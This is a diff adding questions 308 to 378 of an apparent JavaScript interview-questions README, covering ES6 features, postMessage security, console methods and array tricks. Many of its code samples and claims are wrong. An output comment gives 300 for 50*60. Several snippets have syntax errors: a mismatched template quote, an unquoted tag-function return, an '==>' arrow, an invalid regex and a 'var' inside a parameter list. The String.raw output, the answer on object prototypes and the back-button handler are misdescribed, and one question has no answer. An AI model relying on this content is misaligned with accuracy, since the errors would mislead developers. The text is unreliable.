+308.    What are default parameters
+
+        In E5, we need to depend on logical OR operators to handle default values of function parameters. Whereas in ES6, Default function parameters feature allows parameters to be initialized with default values if no value or undefined is passed. Let's compare the behavior with an examples,
+
+        ```javascript
+        //ES5
+        var calculateArea = function (height, width) {
+            height = height || 50;
+            width = width || 60;
+
+            return width * height;
+        };
+        console.log(calculateArea()); //300
+        ```
+
+        The default parameters makes the initialization more simpler,
+
+        ```javascript
+        //ES6
+        var calculateArea = function (height = 50, width = 60) {
+            return width * height;
+        };
+
+        console.log(calculateArea()); //300
+        ```
+
+309.    What are template literals
+
+        Template literals or template strings are string literals allowing embedded expressions. These are enclosed by the back-tick (`) character instead of double or single quotes.
+        In E6, this feature enables using dynamic expressions as below,
+
+        ```javascript
+        var greeting = `Welcome to JS World, Mr. ${firstName} ${lastName}.`;
+        ```
+
+        In ES5, you need break string like below,
+
+        ```javascript
+        var greeting = 'Welcome to JS World, Mr. ' + firstName + ' ' + lastName.`
+        ```
+
+        **Note:** You can use multi-line strings and string interpolation features with template literals.
+
+310.    How do you write multi-line strings in template literals
+
+        In ES5, you would have to use newline escape characters('\\n') and concatenation symbols(+) in order to get multi-line strings.
+
+        ```javascript
+        console.log('This is string sentence 1\n' + 'This is string sentence 2');
+        ```
+
+        Whereas in ES6, You don't need to mention any newline sequence character,
+
+        ```javascript
+        console.log(`This is string sentence
+        'This is string sentence 2`);
+        ```
+
+311.    What are nesting templates
+
+        The nesting template is a feature supported within template literals syntax to allow inner backticks inside a placeholder ${ } within the template. For example, the below nesting template is used to display the icons based on user permissions whereas outer template checks for platform type,
+
+        ```javascript
+        const iconStyles = `icon ${isMobilePlatform() ? '' : `icon-${user.isAuthorized ? 'submit' : 'disabled'}`}`;
+        ```
+
+        You can write the above use case without nesting template features as well. However, the nesting template feature is more compact and readable.
+
+        ```javascript
+        //Without nesting templates
+         const iconStyles = `icon ${ isMobilePlatform() ? '' :
+          (user.isAuthorized ? 'icon-submit' : 'icon-disabled'}`;
+        ```
+
+312.    What are tagged templates
+
+        Tagged templates are the advanced form of templates in which tags allow you to parse template literals with a function. The tag function accepts the first parameter as an array of strings and remaining parameters as expressions. This function can also return manipulated strings based on parameters. Let's see the usage of this tagged template behavior of an IT professional skill set in an organization,
+
+        ```javascript
+        var user1 = 'John';
+        var skill1 = 'JavaScript';
+        var experience1 = 15;
+
+        var user2 = 'Kane';
+        var skill2 = 'JavaScript';
+        var experience2 = 5;
+
+        function myInfoTag(strings, userExp, experienceExp, skillExp) {
+          var str0 = strings[0]; // "Mr/Ms. "
+          var str1 = strings[1]; // " is a/an "
+          var str2 = strings[2]; // "in"
+
+          var expertiseStr;
+          if (experienceExp > 10){
+            expertiseStr = 'expert developer';
+          } else if(skillExp > 5 && skillExp <= 10) {
+            expertiseStr = 'senior developer';
+          } else {
+            expertiseStr = 'junior developer';
+          }
+
+          return ${str0}${userExp}${str1}${expertiseStr}${str2}${skillExp};
+        }
+
+        var output1 = myInfoTag`Mr/Ms. ${ user1 } is a/an ${ experience1 } in ${skill1}`;
+        var output2 = myInfoTag`Mr/Ms. ${ user2 } is a/an ${ experience2 } in ${skill2}`;
+
+        console.log(output1);// Mr/Ms. John is a/an expert developer in JavaScript
+        console.log(output2);// Mr/Ms. Kane is a/an junior developer in JavaScript
+        ```
+
+313.    What are raw strings
+
+        ES6 provides a raw strings feature using the `String.raw()` method which is used to get the raw string form of template strings. This feature allows you to access the raw strings as they were entered, without processing escape sequences. For example, the usage would be as below,
+
+        ```javascript
+        var calculationString = String.raw`The sum of numbers is \n${1 + 2 + 3 + 4}!`;
+        console.log(calculationString); // The sum of numbers is 10
+        ```
+
+        If you don't use raw strings, the newline character sequence will be processed by displaying the output in multiple lines
+
+        ```javascript
+        var calculationString = `The sum of numbers is \n${1 + 2 + 3 + 4}!`;
+        console.log(calculationString);
+        // The sum of numbers is
+        // 10
+        ```
+
+        Also, the raw property is available on the first argument to the tag function
+
+        ```javascript
+        function tag(strings) {
+            console.log(strings.raw[0]);
+        }
+        ```
+
+314.    What is destructuring assignment
+
+        The destructuring assignment is a JavaScript expression that makes it possible to unpack values from arrays or properties from objects into distinct variables.
+        Let's get the month values from an array using destructuring assignment
+
+        ```javascript
+        var [one, two, three] = ['JAN', 'FEB', 'MARCH'];
+
+        console.log(one); // "JAN"
+        console.log(two); // "FEB"
+        console.log(three); // "MARCH"
+        ```
+
+        and you can get user properties of an object using destructuring assignment,
+
+        ```javascript
+        var { name, age } = { name: 'John', age: 32 };
+
+        console.log(name); // John
+        console.log(age); // 32
+        ```
+
+315.    What are default values in destructuring assignment
+
+        A variable can be assigned a default value when the value unpacked from the array or object is undefined during destructuring assignment. It helps to avoid setting default values separately for each assignment. Let's take an example for both arrays and object use cases,
+
+        **Arrays destructuring:**
+
+        ```javascript
+        var x, y, z;
+
+        [x = 2, y = 4, z = 6] = [10];
+        console.log(x); // 10
+        console.log(y); // 4
+        console.log(z); // 6
+        ```
+
+        **Objects destructuring:**
+
+        ```javascript
+        var { x = 2, y = 4, z = 6 } = { x: 10 };
+
+        console.log(x); // 10
+        console.log(y); // 4
+        console.log(z); // 6
+        ```
+
+316.    How do you swap variables in destructuring assignment
+
+        If you don't use destructuring assignment, swapping two values requires a temporary variable. Whereas using a destructuring feature, two variable values can be swapped in one destructuring expression. Let's swap two number variables in array destructuring assignment,
+
+        ```javascript
+        var x = 10,
+            y = 20;
+
+        [x, y] = [y, x];
+        console.log(x); // 20
+        console.log(y); // 10
+        ```
+
+317.    What are enhanced object literals
+
+        Object literals make it easy to quickly create objects with properties inside the curly braces. For example, it provides shorter syntax for common object property definition as below.
+
+        ```javascript
+        //ES6
+        var x = 10,
+            y = 20;
+        obj = { x, y };
+        console.log(obj); // {x: 10, y:20}
+        //ES5
+        var x = 10,
+            y = 20;
+        obj = { x: x, y: y };
+        console.log(obj); // {x: 10, y:20}
+        ```
+
+318.    What are dynamic imports
+
+        The dynamic imports using `import()` function syntax allows us to load modules on demand by using promises or the async/await syntax. Currently this feature is in [stage4 proposal](https://github.com/tc39/proposal-dynamic-import). The main advantage of dynamic imports is reduction of our bundle's sizes, the size/payload response of our requests and overall improvements in the user experience.
+        The syntax of dynamic imports would be as below,
+
+        ```javascript
+        import('./Module').then((Module) => Module.method());
+        ```
+
+319.    What are the use cases for dynamic imports
+
+        Below are some of the use cases of using dynamic imports over static imports,
+
+        1. Import a module on-demand or conditionally. For example, if you want to load a polyfill on legacy browser
+
+        ```javascript
+        if (isLegacyBrowser()) {
+            import(···)
+            .then(···);
+        }
+        ```
+
+        1. Compute the module specifier at runtime. For example, you can use it for internationalization.
+
+        ```javascript
+        import(`messages_${getLocale()}.js`).then(···);
+        ```
+
+        1. Import a module from within a regular script instead a module.
+
+320.    What are typed arrays
+
+        Typed arrays are array-like objects from ECMAScript 6 API for handling binary data. JavaScript provides 8 Typed array types,
+
+        1. Int8Array: An array of 8-bit signed integers
+        2. Int16Array: An array of 16-bit signed integers
+        3. Int32Array: An array of 32-bit signed integers
+        4. Uint8Array: An array of 8-bit unsigned integers
+        5. Uint16Array: An array of 16-bit unsigned integers
+        6. Uint32Array: An array of 32-bit unsigned integers
+        7. Float32Array: An array of 32-bit floating point numbers
+        8. Float64Array: An array of 64-bit floating point numbers
+
+        For example, you can create an array of 8-bit signed integers as below
+
+        ```javascript
+        const a = new Int8Array();
+        // You can pre-allocate n bytes
+        const bytes = 1024;
+        const a = new Int8Array(bytes);
+        ```
+
+321.    What are the advantages of module loaders
+
+        The module loaders provides the below features,
+
+        1. Dynamic loading
+        2. State isolation
+        3. Global namespace isolation
+        4. Compilation hooks
+        5. Nested virtualization
+
+322.    What is collation
+
+        Collation is used for sorting a set of strings and searching within a set of strings. It is parameterized by locale and aware of Unicode. Let's take comparison and sorting features,
+
+        1. **Comparison:**
+
+        ```javascript
+        var list = ['ä', 'a', 'z']; // In German,  "ä" sorts with "a" Whereas in Swedish, "ä" sorts after "z"
+        var l10nDE = new Intl.Collator('de');
+        var l10nSV = new Intl.Collator('sv');
+        console.log(l10nDE.compare('ä', 'z') === -1); // true
+        console.log(l10nSV.compare('ä', 'z') === +1); // true
+        ```
+
+        1. **Sorting:**
+
+        ```javascript
+        var list = ['ä', 'a', 'z']; // In German,  "ä" sorts with "a" Whereas in Swedish, "ä" sorts after "z"
+        var l10nDE = new Intl.Collator('de');
+        var l10nSV = new Intl.Collator('sv');
+        console.log(list.sort(l10nDE.compare)); // [ "a", "ä", "z" ]
+        console.log(list.sort(l10nSV.compare)); // [ "a", "z", "ä" ]
+        ```
+
+323.    What is for...of statement
+
+        The for...of statement creates a loop iterating over iterable objects or elements such as built-in String, Array, Array-like objects (like arguments or NodeList), TypedArray, Map, Set, and user-defined iterables. The basic usage of for...of statement on arrays would be as below,
+
+        ```javascript
+        let arrayIterable = [10, 20, 30, 40, 50];
+
+        for (let value of arrayIterable) {
+            value++;
+            console.log(value); // 11 21 31 41 51
+        }
+        ```
+
+324.    What is the output of below spread operator array
+
+        ```javascript
+        [...'John Resig'];
+        ```
+
+        The output of the array is ['J', 'o', 'h', 'n', '', 'R', 'e', 's', 'i', 'g']
+        **Explanation:** The string is an iterable type and the spread operator within an array maps every character of an iterable to one element. Hence, each character of a string becomes an element within an Array.
+
+325.    Is PostMessage secure
+
+        Yes, postMessages can be considered very secure as long as the programmer/developer is careful about checking the origin and source of an arriving message. But if you try to send/receive a message without verifying its source will create cross-site scripting attacks.
+
+326.    What are the problems with postmessage target origin as wildcard
+
+        The second argument of postMessage method specifies which origin is allowed to receive the message. If you use the wildcard "\*" as an argument then any origin is allowed to receive the message. In this case, there is no way for the sender window to know if the target window is at the target origin when sending the message. If the target window has been navigated to another origin, the other origin would receive the data. Hence, this may lead to XSS vulnerabilities.
+
+        ```javascript
+        targetWindow.postMessage(message, '*');
+        ```
+
+327.    How do you avoid receiving postMessages from attackers
+
+        Since the listener listens for any message, an attacker can trick the application by sending a message from the attacker's origin, which gives an impression that the receiver received the message from the actual sender's window. You can avoid this issue by validating the origin of the message on the receiver's end using the "message.origin" attribute. For examples, let's check the sender's origin [http://www.some-sender.com](http://www.some-sender.com) on receiver side [www.some-receiver.com](www.some-receiver.com),
+
+        ```javascript
+        //Listener on http://www.some-receiver.com/
+        window.addEventListener("message", function(message){
+            if(/^http://www\.some-sender\.com$/.test(message.origin)){
+                 console.log('You received the data from valid sender', message.data);
+           }
+        });
+        ```
+
+328.    Can I avoid using postMessages completely
+
+        You cannot avoid using postMessages completely(or 100%). Even though your application doesn't use postMessage considering the risks, a lot of third party scripts use postMessage to communicate with the third party service. So your application might be using postMessage without your knowledge.
+
+329.    Is postMessages synchronous
+
+        The postMessages are synchronous in IE8 browser but they are asynchronous in IE9 and all other modern browsers (i.e, IE9+, Firefox, Chrome, Safari).Due to this asynchronous behaviour, we use a callback mechanism when the postMessage is returned.
+
+330.    What paradigm is Javascript
+
+        JavaScript is a multi-paradigm language, supporting imperative/procedural programming, Object-Oriented Programming and functional programming. JavaScript supports Object-Oriented Programming with prototypical inheritance.
+
+331.    What is the difference between internal and external javascript
+
+        **Internal JavaScript:** It is the source code within the script tag.
+        **External JavaScript:** The source code is stored in an external file(stored with .js extension) and referred with in the tag.
+
+332.    Is JavaScript faster than server side script
+
+        Yes, JavaScript is faster than server side script. Because JavaScript is a client-side script it does not require any web server's help for its computation or calculation. So JavaScript is always faster than any server-side script like ASP, PHP, etc.
+
+333.    How do you get the status of a checkbox
+
+        You can apply the `checked` property on the selected checkbox in the DOM. If the value is `True` means the checkbox is checked otherwise it is unchecked. For example, the below HTML checkbox element can be access using javascript as below,
+
+        ```html
+        <input type="checkbox" name="checkboxname" value="Agree" /> Agree the conditions<br />
+        ```
+
+        ```javascript
+        console.log(document.getElementById('checkboxname').checked); // true or false
+        ```
+
+334.    What is the purpose of double tilde operator
+
+        The double tilde operator(~~) is known as double NOT bitwise operator. This operator is going to be a quicker substitute for Math.floor().
+
+335.    How do you convert character to ASCII code
+
+        You can use the `String.prototype.charCodeAt()` method to convert string characters to ASCII numbers. For example, let's find ASCII code for the first letter of 'ABC' string,
+
+        ```javascript
+        'ABC'.charCodeAt(0); // returns 65
+        ```
+
+        Whereas `String.fromCharCode()` method converts numbers to equal ASCII characters.
+
+        ```javascript
+        String.fromCharCode(65, 66, 67); // returns 'ABC'
+        ```
+
+336.    What is ArrayBuffer
+
+        An ArrayBuffer object is used to represent a generic, fixed-length raw binary data buffer. You can create it as below,
+
+        ```javascript
+        let buffer = new ArrayBuffer(16); // create a buffer of length 16
+        alert(buffer.byteLength); // 16
+        ```
+
+        To manipulate an ArrayBuffer, we need to use a "view" object.
+
+        ```javascript
+        //Create a DataView referring to the buffer
+        let view = new DataView(buffer);
+        ```
+
+337.    What is the output of below string expression
+
+        ```javascript
+        console.log('Welcome to JS world'[0]);
+        ```
+
+        The output of the above expression is "W".
+        **Explanation:** The bracket notation with specific index on a string returns the character at a specific location. Hence, it returns the character "W" of the string. Since this is not supported in IE7 and below versions, you may need to use the .charAt() method to get the desired result.
+
+338.    What is the purpose of Error object
+
+        The Error constructor creates an error object and the instances of error objects are thrown when runtime errors occur. The Error object can also be used as a base object for user-defined exceptions. The syntax of error object would be as below,
+
+        ```javascript
+        new Error([message[, fileName[, lineNumber]]])
+        ```
+
+        You can throw user defined exceptions or errors using Error object in try...catch block as below,
+
+        ```javascript
+        try {
+            if (withdraw > balance) throw new Error("Oops! You don't have enough balance");
+        } catch (e) {
+            console.log(e.name + ': ' + e.message);
+        }
+        ```
+
+339.    What is the purpose of EvalError object
+
+        The EvalError object indicates an error regarding the global `eval()` function. Even though this exception is not thrown by JavaScript anymore, the EvalError object remains for compatibility. The syntax of this expression would be as below,
+
+        ```javascript
+        new EvalError([message[, fileName[, lineNumber]]])
+        ```
+
+        You can throw EvalError with in try...catch block as below,
+
+        ```javascript
+        try {
+          throw new EvalError('Eval function error', 'someFile.js', 100);
+        } catch (e) {
+          console.log(e.message, e.name, e.fileName);              // "Eval function error", "EvalError", "someFile.js"
+        ```
+
+340.    What are the list of cases error thrown from non-strict mode to strict mode
+
+        When you apply 'use strict'; syntax, some of the below cases will throw a SyntaxError before executing the script
+
+        1. When you use Octal syntax
+
+        ```javascript
+        var n = 022;
+        ```
+
+        1. Using `with` statement
+        2. When you use delete operator on a variable name
+        3. Using eval or arguments as variable or function argument name
+        4. When you use newly reserved keywords
+        5. When you declare a function in a block
+
+        ```javascript
+        if (someCondition) {
+            function f() {}
+        }
+        ```
+
+        Hence, the errors from above cases are helpful to avoid errors in development/production environments.
+
+341.    Do all objects have prototypes
+
+        No. All objects have prototypes except for the base object which is created by the user, or an object that is created using the new keyword.
+
+342.    What is the difference between a parameter and an argument
+
+        Parameter is the variable name of a function definition whereas an argument represents the value given to a function when it is invoked. Let's explain this with a simple function
+
+        ```javascript
+        function myFunction(parameter1, parameter2, parameter3) {
+            console.log(arguments[0]); // "argument1"
+            console.log(arguments[1]); // "argument2"
+            console.log(arguments[2]); // "argument3"
+        }
+        myFunction('argument1', 'argument2', 'argument3');
+        ```
+
+343.    What is the purpose of some method in arrays
+
+        The some() method is used to test whether at least one element in the array passes the test implemented by the provided function. The method returns a boolean value. Let's take an example to test for any odd elements,
+
+        ```javascript
+        var array = [1, 2, 3, 4, 5, 6 ,7, 8, 9, 10];
+
+        var odd = element ==> element % 2 !== 0;
+
+        console.log(array.some(odd)); // true (the odd element exists)
+        ```
+
+344.    How do you combine two or more arrays
+
+        The concat() method is used to join two or more arrays by returning a new array containing all the elements. The syntax would be as below,
+
+        ```javascript
+        array1.concat(array2, array3, ..., arrayX)
+        ```
+
+        Let's take an example of array's concatenation with veggies and fruits arrays,
+
+        ```javascript
+        var veggies = ['Tomato', 'Carrot', 'Cabbage'];
+        var fruits = ['Apple', 'Orange', 'Pears'];
+        var veggiesAndFruits = veggies.concat(fruits);
+        console.log(veggiesAndFruits); // Tomato, Carrot, Cabbage, Apple, Orange, Pears
+        ```
+
+345.    What is the difference between Shallow and Deep copy
+
+        There are two ways to copy an object,
+
+        **Shallow Copy:**
+        Shallow copy is a bitwise copy of an object. A new object is created that has an exact copy of the values in the original object. If any of the fields of the object are references to other objects, just the reference addresses are copied i.e., only the memory address is copied.
+
+        **Example**
+
+        ```javascript
+        var empDetails = {
+            name: 'John',
+            age: 25,
+            expertise: 'Software Developer'
+        };
+        ```
+
+        to create a duplicate
+
+        ```javascript
+        var empDetailsShallowCopy = empDetails; //Shallow copying!
+        ```
+
+        if we change some property value in the duplicate one like this:
+
+        ```javascript
+        empDetailsShallowCopy.name = 'Johnson';
+        ```
+
+        The above statement will also change the name of `empDetails`, since we have a shallow copy. That means we're losing the original data as well.
+
+        **Deep copy:**
+        A deep copy copies all fields, and makes copies of dynamically allocated memory pointed to by the fields. A deep copy occurs when an object is copied along with the objects to which it refers.
+
+        **Example**
+
+        ```javascript
+        var empDetails = {
+            name: 'John',
+            age: 25,
+            expertise: 'Software Developer'
+        };
+        ```
+
+        Create a deep copy by using the properties from the original object into new variable
+
+        ```javascript
+        var empDetailsDeepCopy = {
+            name: empDetails.name,
+            age: empDetails.age,
+            expertise: empDetails.expertise
+        };
+        ```
+
+        Now if you change `empDetailsDeepCopy.name`, it will only affect `empDetailsDeepCopy` & not `empDetails`
+
+346.    How do you create specific number of copies of a string
+
+        The `repeat()` method is used to construct and return a new string which contains the specified number of copies of the string on which it was called, concatenated together. Remember that this method has been added to the ECMAScript 2015 specification.
+        Let's take an example of Hello string to repeat it 4 times,
+
+        ```javascript
+        'Hello'.repeat(4); // 'HelloHelloHelloHello'
+        ```
+
+347.    How do you return all matching strings against a regular expression
+
+        The `matchAll()` method can be used to return an iterator of all results matching a string against a regular expression. For example, the below example returns an array of matching string results against a regular expression,
+
+        ```javascript
+        let regexp = /Hello(\d?))/g;
+        let greeting = 'Hello1Hello2Hello3';
+
+        let greetingList = [...greeting.matchAll(regexp)];
+
+        console.log(greetingList[0]); //Hello1
+        console.log(greetingList[1]); //Hello2
+        console.log(greetingList[2]); //Hello3
+        ```
+
+348.    How do you trim a string at the beginning or ending
+
+        The `trim` method of string prototype is used to trim on both sides of a string. But if you want to trim especially at the beginning or ending of the string then you can use `trimStart/trimLeft` and `trimEnd/trimRight` methods. Let's see an example of these methods on a greeting message,
+
+        ```javascript
+        var greeting = '   Hello, Goodmorning!   ';
+
+        console.log(greeting); // "   Hello, Goodmorning!   "
+        console.log(greeting.trimStart()); // "Hello, Goodmorning!   "
+        console.log(greeting.trimLeft()); // "Hello, Goodmorning!   "
+
+        console.log(greeting.trimEnd()); // "   Hello, Goodmorning!"
+        console.log(greeting.trimRight()); // "   Hello, Goodmorning!"
+        ```
+
+349.    What is the output of below console statement with unary operator
+
+        Let's take console statement with unary operator as given below,
+
+        ```javascript
+        console.log(+'Hello');
+        ```
+
+        The output of the above console log statement returns NaN. Because the element is prefixed by the unary operator and the JavaScript interpreter will try to convert that element into a number type. Since the conversion fails, the value of the statement results in NaN value.
+
+350.    Does javascript uses mixins
+
+351.    What is a thunk function
+
+        A thunk is just a function which delays the evaluation of the value. It doesn't take any arguments but gives the value whenever you invoke the thunk. i.e, It is used not to execute now but it will be sometime in the future. Let's take a synchronous example,
+
+        ```javascript
+        const add = (x, y) => x + y;
+
+        const thunk = () => add(2, 3);
+
+        thunk(); // 5
+        ```
+
+352.    What are asynchronous thunks
+
+        The asynchronous thunks are useful to make network requests. Let's see an example of network requests,
+
+        ```javascript
+        function fetchData(fn) {
+            fetch('https://jsonplaceholder.typicode.com/todos/1')
+                .then((response) => response.json())
+                .then((json) => fn(json));
+        }
+
+        const asyncThunk = function () {
+            return fetchData(function getData(data) {
+                console.log(data);
+            });
+        };
+
+        asyncThunk();
+        ```
+
+        The `getData` function won't be called immediately but it will be invoked only when the data is available from API endpoint. The setTimeout function is also used to make our code asynchronous. The best real time example is redux state management library which uses the asynchronous thunks to delay the actions to dispatch.
+
+353.    What is the output of below function calls
+
+        **Code snippet:**
+
+        ```javascript
+        const circle = {
+            radius: 20,
+            diameter() {
+                return this.radius * 2;
+            },
+            perimeter: () => 2 * Math.PI * this.radius
+        };
+        ```
+
+        console.log(circle.diameter());
+        console.log(circle.perimeter());
+
+        **Output:**
+
+        The output is 40 and NaN. Remember that diameter is a regular function, whereas the value of perimeter is an arrow function. The `this` keyword of a regular function(i.e, diameter) refers to the surrounding scope which is a class(i.e, Shape object). Whereas this keyword of perimeter function refers to the surrounding scope which is a window object. Since there is no radius property on window objects it returns an undefined value and the multiple of number value returns NaN value.
+
+354.    How to remove all line breaks from a string
+
+        The easiest approach is using regular expressions to detect and replace newlines in the string. In this case, we use replace function along with string to replace with, which in our case is an empty string.
+
+        ```javascript
+        function remove_linebreaks( var message ) {
+            return message.replace( /[\r\n]+/gm, "" );
+        }
+        ```
+
+        In the above expression, g and m are for global and multiline flags.
+
+355.    What is the difference between reflow and repaint
+
+        A _repaint_ occurs when changes are made which affect the visibility of an element, but not its layout. Examples of this include outline, visibility, or background color. A _reflow_ involves changes that affect the layout of a portion of the page (or the whole page). Resizing the browser window, changing the font, content changing (such as user typing text), using JavaScript methods involving computed styles, adding or removing elements from the DOM, and changing an element's classes are a few of the things that can trigger reflow. Reflow of an element causes the subsequent reflow of all child and ancestor elements as well as any elements following it in the DOM.
+
+356.    What happens with negating an array
+
+        Negating an array with `!` character will coerce the array into a boolean. Since Arrays are considered to be truthy So negating it will return `false`.
+
+        ```javascript
+        console.log(![]); // false
+        ```
+
+357.    What happens if we add two arrays
+
+        If you add two arrays together, it will convert them both to strings and concatenate them. For example, the result of adding arrays would be as below,
+
+        ```javascript
+        console.log(['a'] + ['b']); // "ab"
+        console.log([] + []); // ""
+        console.log(![] + []); // "false", because ![] returns false.
+        ```
+
+358.    What is the output of prepend additive operator on falsy values
+
+        If you prepend the additive(+) operator on falsy values(null, undefined, NaN, false, ""), the falsy value converts to a number value zero. Let's display them on browser console as below,
+
+        ```javascript
+        console.log(+null); // 0
+        console.log(+undefined); // NaN
+        console.log(+false); // 0
+        console.log(+NaN); // NaN
+        console.log(+''); // 0
+        ```
+
+359.    How do you create self string using special characters
+
+        The self string can be formed with the combination of `[]()!+` characters. You need to remember the below conventions to achieve this pattern.
+
+        1. Since Arrays are truthful values, negating the arrays will produce false: ![] === false
+        2. As per JavaScript coercion rules, the addition of arrays together will toString them: [] + [] === ""
+        3. Prepend an array with + operator will convert an array to false, the negation will make it true and finally converting the result will produce value '1': +(!(+[])) === 1
+
+        By applying the above rules, we can derive below conditions
+
+        ```javascript
+        (![] + [] === 'false' + !+[]) === 1;
+        ```
+
+        Now the character pattern would be created as below,
+
+        ```javascript
+              s               e               l               f
+         ^^^^^^^^^^^^^   ^^^^^^^^^^^^^   ^^^^^^^^^^^^^   ^^^^^^^^^^^^^
+
+         (![] + [])[3] + (![] + [])[4] + (![] + [])[2] + (![] + [])[0]
+         ^^^^^^^^^^^^^   ^^^^^^^^^^^^^   ^^^^^^^^^^^^^   ^^^^^^^^^^^^^
+        (![] + [])[+!+[]+!+[]+!+[]] +
+        (![] + [])[+!+[]+!+[]+!+[]+!+[]] +
+        (![] + [])[+!+[]+!+[]] +
+        (![] + [])[+[]]
+        ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
+        (![]+[])[+!+[]+!+[]+!+[]]+(![]+[])[+!+[]+!+[]+!+[]+!+[]]+(![]+[])[+!+[]+!+[]]+(![]+[])[+[]]
+        ```
+
+360.    How do you remove falsy values from an array
+
+        You can apply the filter method on the array by passing Boolean as a parameter. This way it removes all falsy values(0, undefined, null, false and "") from the array.
+
+        ```javascript
+        const myArray = [false, null, 1, 5, undefined];
+        myArray.filter(Boolean); // [1, 5] // is same as myArray.filter(x => x);
+        ```
+
+361.    How do you get unique values of an array
+
+        You can get unique values of an array with the combination of `Set` and rest expression/spread(...) syntax.
+
+        ```javascript
+        console.log([...new Set([1, 2, 4, 4, 3])]); // [1, 2, 4, 3]
+        ```
+
+362.    What is destructuring aliases
+
+        Sometimes you would like to have a destructured variable with a different name than the property name. In that case, you'll use a `: newName` to specify a name for the variable. This process is called destructuring aliases.
+
+        ```javascript
+        const obj = { x: 1 };
+        // Grabs obj.x as as { otherName }
+        const { x: otherName } = obj;
+        ```
+
+363.    How do you map the array values without using map method
+
+        You can map the array values without using the `map` method by just using the `from` method of Array. Let's map city names from Countries array,
+
+        ```javascript
+        const countries = [
+            { name: 'India', capital: 'Delhi' },
+            { name: 'US', capital: 'Washington' },
+            { name: 'Russia', capital: 'Moscow' },
+            { name: 'Singapore', capital: 'Singapore' },
+            { name: 'China', capital: 'Beijing' },
+            { name: 'France', capital: 'Paris' }
+        ];
+
+        const cityNames = Array.from(countries, ({ capital }) => capital);
+        console.log(cityNames); // ['Delhi, 'Washington', 'Moscow', 'Singapore', 'Beijing', 'Paris']
+        ```
+
+364.    How do you empty an array
+
+        You can empty an array quickly by setting the array length to zero.
+
+        ```javascript
+        let cities = ['Singapore', 'Delhi', 'London'];
+        cities.length = 0; // cities becomes []
+        ```
+
+365.    How do you rounding numbers to certain decimals
+
+        You can round numbers to a certain number of decimals using `toFixed` method from native javascript.
+
+        ```javascript
+        let pie = 3.141592653;
+        pie = pie.toFixed(3); // 3.142
+        ```
+
+366.    What is the easiest way to convert an array to an object
+
+        You can convert an array to an object with the same data using spread(...) operator.
+
+        ```javascript
+        var fruits = ['banana', 'apple', 'orange', 'watermelon'];
+        var fruitsObject = { ...fruits };
+        console.log(fruitsObject); // {0: "banana", 1: "apple", 2: "orange", 3: "watermelon"}
+        ```
+
+367.    How do you create an array with some data
+
+        You can create an array with some data or an array with the same values using `fill` method.
+
+        ```javascript
+        var newArray = new Array(5).fill('0');
+        console.log(newArray); // ["0", "0", "0", "0", "0"]
+        ```
+
+368.    What are the placeholders from console object
+
+        Below are the list of placeholders available from console object,
+
+        1. %o — It takes an object,
+        2. %s — It takes a string,
+        3. %d — It is used for a decimal or integer
+           These placeholders can be represented in the console.log as below
+
+        ```javascript
+        const user = { name: 'John', id: 1, city: 'Delhi' };
+        console.log('Hello %s, your details %o are available in the object form', 'John', user); // Hello John, your details {name: "John", id: 1, city: "Delhi"} are available in object
+        ```
+
+369.    Is it possible to add CSS to console messages
+
+        Yes, you can apply CSS styles to console messages similar to html text on the web page.
+
+        ```javascript
+        console.log('%c The text has blue color, with large font and red background', 'color: blue; font-size: x-large; background: red');
+        ```
+
+        The text will be displayed as below,
+        ![Screenshot](images/console-css.png)
+
+        **Note:** All CSS styles can be applied to console messages.
+
+370.    What is the purpose of dir method of console object
+
+        The `console.dir()` is used to display an interactive list of the properties of the specified JavaScript object as JSON.
+
+        ```javascript
+        const user = { name: 'John', id: 1, city: 'Delhi' };
+        console.dir(user);
+        ```
+
+        The user object displayed in JSON representation
+        ![Screenshot](images/console-dir.png)
+
+371.    Is it possible to debug HTML elements in console
+
+        Yes, it is possible to get and debug HTML elements in the console just like inspecting elements.
+
+        ```javascript
+        const element = document.getElementsByTagName('body')[0];
+        console.log(element);
+        ```
+
+        It prints the HTML element in the console,
+
+        ![Screenshot](images/console-html.png)
+
+372.    How do you display data in a tabular format using console object
+
+             The `console.table()` is used to display data in the console in a tabular format to visualize complex arrays or objects.
+
+             ```js
+
+        //
+        const users = [
+        { name: 'John', id: 1, city: 'Delhi' },
+        { name: 'Max', id: 2, city: 'London' },
+        { name: 'Rod', id: 3, city: 'Paris' }
+        ];
+        console.table(users);
+
+        ```
+
+             The data visualized in a table format,
+
+             ![Screenshot](images/console-table.png)
+             **Not:** Remember that `console.table()` is not supported in IE.
+
+        ```
+
+373.    How do you verify that an argument is a Number or not
+
+        The combination of IsNaN and isFinite methods are used to confirm whether an argument is a number or not.
+
+        ```javascript
+        function isNumber(n) {
+            return !isNaN(parseFloat(n)) && isFinite(n);
+        }
+        ```
+
+374.    How do you create copy to clipboard button
+
+        You need to select the content(using .select() method) of the input element and execute the copy command with execCommand (i.e, execCommand('copy')). You can also execute other system commands like cut and paste.
+
+        ```javascript
+        document.querySelector('#copy-button').onclick = function () {
+            // Select the content
+            document.querySelector('#copy-input').select();
+            // Copy to the clipboard
+            document.execCommand('copy');
+        };
+        ```
+
+375.    What is the shortcut to get timestamp
+
+        You can use `new Date().getTime()` to get the current timestamp. There is an alternative shortcut to get the value.
+
+        ```javascript
+        console.log(+new Date());
+        console.log(Date.now());
+        ```
+
+376.    How do you flattening multi dimensional arrays
+
+        Flattening bi-dimensional arrays is trivial with Spread operator.
+
+        ```javascript
+        const biDimensionalArr = [11, [22, 33], [44, 55], [66, 77], 88, 99];
+        const flattenArr = [].concat(...biDimensionalArr); // [11, 22, 33, 44, 55, 66, 77, 88, 99]
+        ```
+
+        But you can make it work with multi-dimensional arrays by recursive calls,
+
+        ```javascript
+        function flattenMultiArray(arr) {
+            const flattened = [].concat(...arr);
+            return flattened.some((item) => Array.isArray(item)) ? flattenMultiArray(flattened) : flattened;
+        }
+        const multiDimensionalArr = [11, [22, 33], [44, [55, 66, [77, [88]], 99]]];
+        const flatArr = flattenMultiArray(multiDimensionalArr); // [11, 22, 33, 44, 55, 66, 77, 88, 99]
+        ```
+
+377.    What is the easiest multi condition checking
+
+        You can use `indexOf` to compare input with multiple values instead of checking each value as one condition.
+
+        ```javascript
+        // Verbose approach
+        if (input === 'first' || input === 1 || input === 'second' || input === 2) {
+            someFunction();
+        }
+        // Shortcut
+        if (['first', 1, 'second', 2].indexOf(input) !== -1) {
+            someFunction();
+        }
+        ```
+
+378.    How do you capture browser back button
+
+        The `window.onbeforeunload` method is used to capture browser back button events. This is helpful to warn users about losing the current data.
+
+        ```javascript
+        window.onbeforeunload = function () {
+            alert('You work will be lost');
+        };
+        ```
+
